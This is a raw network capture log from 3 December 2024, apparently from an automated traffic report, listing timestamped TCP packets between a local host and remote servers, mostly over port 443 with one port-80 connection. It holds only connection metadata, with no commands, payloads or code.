Dec 3, 2024 10:05:58.578747988 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.708324909 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.708353043 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.708450079 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.708478928 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.708627939 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.722376108 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.722398996 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.722495079 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.722502947 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.722554922 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.738604069 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.738620996 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.738732100 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.738739967 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.738924980 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.754652023 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.754673958 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.754865885 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.754875898 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.754924059 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.768661022 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.768687010 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.768768072 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.768779993 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.768821955 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.785936117 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.785953999 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.785994053 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.786001921 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.786030054 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.786057949 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.790663004 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.790720940 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.790728092 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.790738106 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.790766954 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.790785074 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.791547060 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.791569948 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.791583061 CET	49739	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.791588068 CET	443	49739	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.859628916 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.859661102 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.859729052 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.860805035 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.860857964 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.860935926 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.861391068 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.861399889 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.861437082 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.861526012 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.861538887 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.861613035 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.861620903 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.862201929 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862241030 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.862283945 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862709045 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862742901 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.862787962 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862835884 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862859011 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.862912893 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862929106 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:05:58.862983942 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:05:58.862998009 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.578475952 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.578922987 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.578948975 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.579391003 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.579396963 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.644747972 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.645184994 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.645200968 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.645627022 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.645632982 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.645699024 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.645982027 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.646008968 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.646352053 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.646358013 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.708745956 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.709078074 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.709101915 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.709486008 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.709490061 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.712173939 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.712434053 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.712445974 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:00.712800980 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:00.712805986 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018469095 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018493891 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018560886 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.018593073 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018641949 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.018783092 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.018788099 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018802881 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.018939018 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.018970013 CET	443	49745	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.019010067 CET	49745	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.021475077 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.021517038 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.021589041 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.021723986 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.021737099 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.089484930 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.089544058 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.089581966 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.089756966 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.089771986 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.089781046 CET	49741	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.089785099 CET	443	49741	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.094675064 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.094701052 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.094754934 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.094784975 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.095199108 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.095238924 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.096569061 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.096597910 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.096643925 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.096811056 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.096824884 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.096841097 CET	49742	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.096844912 CET	443	49742	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.099786997 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.099812031 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.099864960 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.102088928 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.102106094 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.102222919 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.102236032 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.162333965 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.162398100 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.162436962 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.162554026 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.162570000 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.162580013 CET	49744	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.162585974 CET	443	49744	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.171912909 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.171937943 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.172000885 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.172013998 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.172045946 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.177730083 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.177740097 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.177750111 CET	49743	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.177755117 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.177795887 CET	443	49743	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.230406046 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.230447054 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.230521917 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.230973959 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.230983973 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.231633902 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.231667995 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:01.231714964 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.231807947 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:01.231821060 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.736577988 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.737054110 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.737080097 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.737498999 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.737504959 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.912065983 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.912689924 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.912710905 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.913147926 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.913151979 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.915709019 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.916052103 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.916084051 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.916435003 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.916440010 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.939115047 CET	49751	80	192.168.2.4	192.186.57.30
Dec 3, 2024 10:06:02.946377039 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.946693897 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.946707964 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:02.947051048 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:02.947055101 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.059820890 CET	80	49751	192.186.57.30	192.168.2.4
Dec 3, 2024 10:06:03.059912920 CET	49751	80	192.168.2.4	192.186.57.30
Dec 3, 2024 10:06:03.063219070 CET	49751	80	192.168.2.4	192.186.57.30
Dec 3, 2024 10:06:03.078597069 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.079091072 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.079104900 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.079530954 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.079535961 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.171928883 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.171989918 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.172056913 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.172259092 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.172276020 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.172287941 CET	49746	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.172291994 CET	443	49746	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.175031900 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.175084114 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.175153971 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.175343990 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.175359011 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.183887959 CET	80	49751	192.186.57.30	192.168.2.4
Dec 3, 2024 10:06:03.367059946 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.367122889 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.367173910 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.368987083 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.369040966 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.369083881 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.381134033 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.381153107 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.381162882 CET	49748	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.381176949 CET	443	49748	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.382412910 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.382445097 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.382460117 CET	49747	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.382466078 CET	443	49747	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.383480072 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.383538008 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.383580923 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.427382946 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.427400112 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.427409887 CET	49749	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.427414894 CET	443	49749	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.489217997 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.489264011 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.489330053 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.490303040 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.490354061 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.490401983 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.490794897 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.490802050 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.490844011 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.490997076 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.491008043 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.491070986 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.491081953 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.491147995 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.491167068 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.533402920 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.533473969 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.533534050 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.671452999 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.671483994 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.671498060 CET	49750	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.671503067 CET	443	49750	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.709001064 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.709055901 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:03.709224939 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.762274981 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:03.762303114 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:04.609683990 CET	80	49751	192.186.57.30	192.168.2.4
Dec 3, 2024 10:06:04.609916925 CET	80	49751	192.186.57.30	192.168.2.4
Dec 3, 2024 10:06:04.609999895 CET	49751	80	192.168.2.4	192.186.57.30
Dec 3, 2024 10:06:04.610774994 CET	49751	80	192.168.2.4	192.186.57.30
Dec 3, 2024 10:06:04.730648041 CET	80	49751	192.186.57.30	192.168.2.4
Dec 3, 2024 10:06:04.891400099 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:04.892915010 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:04.892998934 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:04.893317938 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:04.893333912 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.205004930 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.205492020 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.205569983 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.206062078 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.206084013 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.326704979 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.326780081 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.326922894 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.336740017 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.343035936 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.356010914 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.356033087 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.356489897 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.356493950 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.356686115 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.356686115 CET	49752	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.356750011 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.356777906 CET	443	49752	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.357770920 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.357778072 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.358181000 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.358185053 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.359790087 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.359823942 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.360987902 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.361095905 CET	49757	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.361113071 CET	443	49757	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.607760906 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.608968019 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.608994007 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.609441042 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.609445095 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.639396906 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.639452934 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.639539003 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.639720917 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.639753103 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.639791965 CET	49754	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.639799118 CET	443	49754	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.642416954 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.642457008 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.642537117 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.642653942 CET	49758	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.642667055 CET	443	49758	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.790231943 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.790302038 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.790348053 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.790672064 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.790698051 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.790709972 CET	49753	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.790714979 CET	443	49753	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.796433926 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.796492100 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.796530008 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.796782017 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.796793938 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.796803951 CET	49755	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.796808004 CET	443	49755	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.801238060 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.801274061 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.801337004 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.804857016 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.804902077 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.804954052 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.805171013 CET	49759	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.805197954 CET	443	49759	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:05.805372953 CET	49760	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:05.805386066 CET	443	49760	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.061506033 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.061578989 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.061629057 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:06.061800957 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:06.061825037 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.061837912 CET	49756	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:06.061842918 CET	443	49756	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.064516068 CET	49761	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:06.064565897 CET	443	49761	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:06.064644098 CET	49761	443	192.168.2.4	13.107.246.63
